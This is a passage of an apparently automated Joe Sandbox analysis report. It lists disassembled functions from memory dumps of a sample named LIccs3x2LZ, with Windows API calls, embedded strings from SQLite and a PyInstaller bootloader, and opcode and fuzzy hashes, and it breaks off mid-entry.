FlsSetValue.KERNEL32 ref: 00007FF6929FC035
FlsSetValue.KERNEL32 ref: 00007FF6929FC062
FlsSetValue.KERNEL32 ref: 00007FF6929FC073
FlsSetValue.KERNEL32 ref: 00007FF6929FC084
SetLastError.KERNEL32 ref: 00007FF6929FC09F

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5fc9f1533f817a3b36bf126c798386ef815c87bc6caab6884f62d1feea17f363
Instruction ID: 90cf225f340ed959e086a90bb38e35e7d40c5c262ed3c2a3a17f690ae4bc531b
Opcode Fuzzy Hash: 5fc9f1533f817a3b36bf126c798386ef815c87bc6caab6884f62d1feea17f363
Instruction Fuzzy Hash: A221B321E4D20242FEB8A73256551BA5352CF497F8F1887B4F93EC6AD7DEECA8025300

Function 00007FF692A08F7C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF692A08FAD
GetLastError.KERNEL32 ref: 00007FF692A08FB9
CloseHandle.KERNEL32 ref: 00007FF692A08FD1
CreateFileW.KERNEL32 ref: 00007FF692A08FFC
WriteConsoleW.KERNEL32 ref: 00007FF692A0901B

Strings

CONOUT$, xrefs: 00007FF692A08FDD

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 09dec002ca810f05fd5d7c823bfe6aa00a703a0ca75bfd1bbea9b479bbcb78f6
Instruction ID: f547e8e8096ea47ebcf769e471d5fa301bfbb16db6b3d7d62176a5fa00567c9b
Opcode Fuzzy Hash: 09dec002ca810f05fd5d7c823bfe6aa00a703a0ca75bfd1bbea9b479bbcb78f6
Instruction Fuzzy Hash: C5118E63A18A4186F3609B12E844329A2A0FB99FE8F144274EA1DC7794CFBCD848C744

Function 00007FF8A89FAB40 Relevance: 9.4, APIs: 3, Strings: 3, Instructions: 384COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89FAC83
memmove.VCRUNTIME140 ref: 00007FF8A89FACCE

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 00007FF8A89FABE1
unknown column "%s" in foreign key definition, xrefs: 00007FF8A89FAEE1
foreign key on %s should reference only one column of table %T, xrefs: 00007FF8A89FABB1

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmovememset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 1288253900-272990098
Opcode ID: 5b06733bee7194daab8be4a11779836a571e907e4989df1c4baecedb1aeffdb7
Instruction ID: 0bdbab498cc71afdc814d7af923bfabb9f029102417f70c6aa146add89f9edc1
Opcode Fuzzy Hash: 5b06733bee7194daab8be4a11779836a571e907e4989df1c4baecedb1aeffdb7
Instruction Fuzzy Hash: 45F1AF62A0AA81A6EB688F15D4487B937A4FF44BCAF0C4131DE5E07795DF7CE841C328

Function 00007FF8A8AB9A90 Relevance: 9.3, APIs: 1, Strings: 5, Instructions: 315COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A8AB9B06

Strings

remove_diacritics, xrefs: 00007FF8A8AB9C94
L* N* Co, xrefs: 00007FF8A8AB9AF6
separators, xrefs: 00007FF8A8AB9D49
tokenchars, xrefs: 00007FF8A8AB9CF3
categories, xrefs: 00007FF8A8AB9B82, 00007FF8A8AB9D89

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: L* N* Co$categories$remove_diacritics$separators$tokenchars
API String ID: 2221118986-414796364
Opcode ID: 46266904c91e095cc90c91fa98948de4ee8a8913c0a358b745c93452830c9887
Instruction ID: 13fa31c9844f4c0a02ddcf412a80bdd92272eee4e74c17ef58f4e45578c7f0b2
Opcode Fuzzy Hash: 46266904c91e095cc90c91fa98948de4ee8a8913c0a358b745c93452830c9887
Instruction Fuzzy Hash: 17D1E921E0F692AAFB548B11945A37C2BA1EF41BC1F5C8135DA4E42681FF2CBD45C73A

Function 00007FF8A89B9A70 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 222COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89B9B31
memmove.VCRUNTIME140 ref: 00007FF8A89B9BC6
memmove.VCRUNTIME140 ref: 00007FF8A89B9C58

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89B9AE8
%s at line %d of [%.10s], xrefs: 00007FF8A89B9B01
database corruption, xrefs: 00007FF8A89B9AF5

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2162964266-1728192754
Opcode ID: 04d9547e947b09f6b83da9f9b06bd7f81deb49024f676fef6b0617f6bbd5534b
Instruction ID: d76101c89ebed64df89dc903deae2c79e51b4e0fd00be96b2282656c4bd20aeb
Opcode Fuzzy Hash: 04d9547e947b09f6b83da9f9b06bd7f81deb49024f676fef6b0617f6bbd5534b
Instruction Fuzzy Hash: 98910662A197C15ACB20CF26D4482BABBA1FB89BC5F084136EE8D47B45EF3CD545C710

Function 00007FF8A89EBCF0 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 209COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89EBEAA
memmove.VCRUNTIME140 ref: 00007FF8A89EBEF0
memmove.VCRUNTIME140 ref: 00007FF8A89EBF59

Strings

virtual tables may not be altered, xrefs: 00007FF8A89EBD88
sqlite_altertab_%s, xrefs: 00007FF8A89EBEB3
Cannot add a column to a view, xrefs: 00007FF8A89EBDA0

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$memset
String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
API String ID: 3790616698-2063813899
Opcode ID: 77e666caeee001dbb3182981d1559d099c6efb05031be04636c1a2e0432eb7b8
Instruction ID: edecc24820248ef335057ea799b3fd958eeae9c1d32de3cb31f39a86f9606e9f
Opcode Fuzzy Hash: 77e666caeee001dbb3182981d1559d099c6efb05031be04636c1a2e0432eb7b8
Instruction Fuzzy Hash: A691DF62A0AB8197EB10CF1190482B97BA4FF48BC1F4A8235DF9D47795EF38E4A0C714

Function 00007FF8A89F0890 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 194COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89F08E3
memmove.VCRUNTIME140 ref: 00007FF8A89F0A51

Strings

%llu, xrefs: 00007FF8A89F095E
string or blob too big, xrefs: 00007FF8A89F0B32
-, xrefs: 00007FF8A89F0A3E
%llu, xrefs: 00007FF8A89F08F9

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmovememset
String ID: %llu$%llu$-$string or blob too big
API String ID: 1288253900-3671734523
Opcode ID: 1b3f75ae8b714720de6ad32df4f181fb1ff7ecd4606758632c249c7df7cebdb3
Instruction ID: ff387df957c895d01b5fd03ab3dceaa490a484987e0b47ca68a45ee52a9da5b4
Opcode Fuzzy Hash: 1b3f75ae8b714720de6ad32df4f181fb1ff7ecd4606758632c249c7df7cebdb3
Instruction Fuzzy Hash: 0281A062E0A641A9EB188F25D44837977A8FB44BD9F0C8235CA5D07385EF7CEC91C768

Function 00007FF8A8A6BCC0 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A8A6BDED
memmove.VCRUNTIME140 ref: 00007FF8A8A6BE3A
memmove.VCRUNTIME140 ref: 00007FF8A8A6BE4D

Strings

CREATE TABLE x(term, col, documents, occurrences, languageid HIDDEN), xrefs: 00007FF8A8A6BD8C
invalid arguments to fts4aux constructor, xrefs: 00007FF8A8A6BE8F
temp, xrefs: 00007FF8A8A6BD17

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$memset
String ID: CREATE TABLE x(term, col, documents, occurrences, languageid HIDDEN)$invalid arguments to fts4aux constructor$temp
API String ID: 3790616698-537686372
Opcode ID: 5f1d738c9272964a38a918b5cf003f8b1c786640f7009a648c1e7b640e60640d
Instruction ID: 0d0092434ef431464776c95942603e6ff3e1d0e101611e4f5396a8b955b4c57b
Opcode Fuzzy Hash: 5f1d738c9272964a38a918b5cf003f8b1c786640f7009a648c1e7b640e60640d
Instruction Fuzzy Hash: 6751AF63A0AA8195E720CB16E8412B977A0FB85BD4F444132DF9D477D9EF3CE482C725

Function 00007FF6929E8320 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E834D
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E83AA

Part of subcall function 00007FF6929E88F0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6929E3A14,00000000,00007FF6929E1965), ref: 00007FF6929E8929

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E8435
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E8494
FreeLibrary.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E84A5
FreeLibrary.KERNEL32(?,?,00000000,00007FF6929E33DE), ref: 00007FF6929E84BA

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: 313a0f2fb1a0a4b866ece4171e1d0055afcd52e7c70a7cb35398aaa7f0b482e7
Instruction ID: 1ca81ee6215a7a3cdda1d6419b1c7a14049b5da73f821076c6b83e283f5e6d4d
Opcode Fuzzy Hash: 313a0f2fb1a0a4b866ece4171e1d0055afcd52e7c70a7cb35398aaa7f0b482e7
Instruction Fuzzy Hash: BE41D272B19A8281FA709B53B5402BA6394FF88B88F040174DF8D97B9AEE7CD400C740

Function 00007FF8B7831D40 Relevance: 9.1, APIs: 6, Instructions: 111COMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B7831DAB
_aligned_malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B7831E18
_aligned_malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B7831E38
_aligned_free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B7831E78
_aligned_free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B7831E86
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B7831E8F

Memory Dump Source

Source File: 00000003.00000002.2146816229.00007FF8B7831000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00007FF8B7830000, based on PE: true

Associated: 00000003.00000002.2146783438.00007FF8B7830000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146845733.00007FF8B7833000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146872045.00007FF8B7834000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146889398.00007FF8B7835000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7830000_LIccs3x2LZ.jbxd

Similarity

API ID: _aligned_free_aligned_malloc$callocfree
String ID:
API String ID: 2511558924-0
Opcode ID: ad5b6e24f9c8b9f834445484b1b680c9dc9662bd7dde14abf273014921dd1c5e
Instruction ID: ca7230f215c8a24925bfc99c2b4700547fa00bb1a6576bd2e3076a40b6638d1c
Opcode Fuzzy Hash: ad5b6e24f9c8b9f834445484b1b680c9dc9662bd7dde14abf273014921dd1c5e
Instruction Fuzzy Hash: 06414966B49B4186EA22CB4DE45027D7BA1BB48BD0F464531EF4D07BA4EF7CE485C704

Function 00007FF6929E8580 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6929E79C0: GetCurrentProcess.KERNEL32 ref: 00007FF6929E79E0
Part of subcall function 00007FF6929E79C0: OpenProcessToken.ADVAPI32 ref: 00007FF6929E79F3
Part of subcall function 00007FF6929E79C0: GetTokenInformation.ADVAPI32 ref: 00007FF6929E7A18
Part of subcall function 00007FF6929E79C0: GetLastError.KERNEL32 ref: 00007FF6929E7A22
Part of subcall function 00007FF6929E79C0: GetTokenInformation.ADVAPI32 ref: 00007FF6929E7A62
Part of subcall function 00007FF6929E79C0: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6929E7A7E
Part of subcall function 00007FF6929E79C0: CloseHandle.KERNEL32 ref: 00007FF6929E7A96

LocalFree.KERNEL32(00000000,00007FF6929E3099), ref: 00007FF6929E860C
LocalFree.KERNEL32 ref: 00007FF6929E8615

Strings

S-1-3-4, xrefs: 00007FF6929E85C1
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6929E8623
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6929E85E2
D:(A;;FA;;;%s), xrefs: 00007FF6929E85F7

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 5026eb0f39b03b1f34dd11b9a08fbc02e6fe7828f938f308a33c37f52a329d13
Instruction ID: 86c7e3613007b0e7efd51fc797a73ed13826cb4c265862dcec613e3ad2f7362e
Opcode Fuzzy Hash: 5026eb0f39b03b1f34dd11b9a08fbc02e6fe7828f938f308a33c37f52a329d13
Instruction Fuzzy Hash: 71215172A0874681F770AB52E8152FA6350FF89788F8440B1EA4ED77A7DFBCD9448780

Function 00007FF6929FC168 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC177
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1AD
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1DA
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1EB
FlsSetValue.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC1FC
SetLastError.KERNEL32(?,?,?,00007FF6929F5DF1,?,?,?,?,00007FF6929FB332,?,?,?,?,00007FF6929F806B), ref: 00007FF6929FC217

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 0e1b8dba42cafa746b7f5a28cb9c545fe0ff5145dccc782c1e7e6b68b8479e56
Instruction ID: 1a7473634c4623227fd9521d2faa3b81b9b148c26db3ff4eebfc5f3eea42866e
Opcode Fuzzy Hash: 0e1b8dba42cafa746b7f5a28cb9c545fe0ff5145dccc782c1e7e6b68b8479e56
Instruction Fuzzy Hash: 6F11A161F4D24242FAB8A76256911BA5252DF5D7F8F1483B4E92EC66D3DEACE8015300

Function 00007FF6929FA960 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6929FA985
GetProcAddress.KERNEL32 ref: 00007FF6929FA99B
FreeLibrary.KERNEL32 ref: 00007FF6929FA9C2

Strings

CorExitProcess, xrefs: 00007FF6929FA994
mscoree.dll, xrefs: 00007FF6929FA97C

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 418ea1e238ba9159b4af0c063643a1e1072a19be9fd93c352edfae4455fd553e
Instruction ID: dff742f9d55b452c7f0edde7bdca7d82686fbe7be4b7669fdf24f6dd23184b31
Opcode Fuzzy Hash: 418ea1e238ba9159b4af0c063643a1e1072a19be9fd93c352edfae4455fd553e
Instruction Fuzzy Hash: A2F09663B09E0281FB349B24E44437A5360EF4A7B9F540679DA6EC62F5CFACD989C700

Function 00007FF8A8A36280 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 388COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF8A8A36C14), ref: 00007FF8A8A3631F

Strings

hidden, xrefs: 00007FF8A8A366BD
vtable constructor called recursively: %s, xrefs: 00007FF8A8A36453
vtable constructor did not declare schema: %s, xrefs: 00007FF8A8A365A1
vtable constructor failed: %s, xrefs: 00007FF8A8A36498

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: hidden$vtable constructor called recursively: %s$vtable constructor did not declare schema: %s$vtable constructor failed: %s
API String ID: 2162964266-1299490920
Opcode ID: e8ec8f6ec732bf050947f9f067d8d4d9574ee6225e38b33706d85f73f057d683
Instruction ID: b92b00df58dc4db870a5d4e4a1a2acc5ac4e12731f7f4148a6dff65be60d6b31
Opcode Fuzzy Hash: e8ec8f6ec732bf050947f9f067d8d4d9574ee6225e38b33706d85f73f057d683
Instruction Fuzzy Hash: 4502ED76A0BB81A2EB508F15D14537A7BA4FB88BC4F494136DA8D07794EF3CE840C325

Function 00007FF8A89BC7D0 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 356COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89BC938
memmove.VCRUNTIME140 ref: 00007FF8A89BCA77

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89BC8D1, 00007FF8A89BCA0D
%s at line %d of [%.10s], xrefs: 00007FF8A89BC8EA, 00007FF8A89BCA26
database corruption, xrefs: 00007FF8A89BC8DE, 00007FF8A89BCA1A

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2162964266-1728192754
Opcode ID: 6e409944c358005e8988aacf0042478d1f7942d27db3e1866aef31fdf769157d
Instruction ID: 607088846b2cec7d256cb0f5b8f5742be4fbd1980932a9bbb09cca34e2608177
Opcode Fuzzy Hash: 6e409944c358005e8988aacf0042478d1f7942d27db3e1866aef31fdf769157d
Instruction Fuzzy Hash: 6DF1EF7260AB859AD7A0DB15E0087AE77A0FB85BC9F084036EE8D43795DF3CE844C754

Function 00007FF8A8A059C0 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 336COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF8A8A05C24
memcmp.VCRUNTIME140 ref: 00007FF8A8A05C89

Strings

string or blob too big, xrefs: 00007FF8A8A05DD5
-, xrefs: 00007FF8A8A05E1E

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
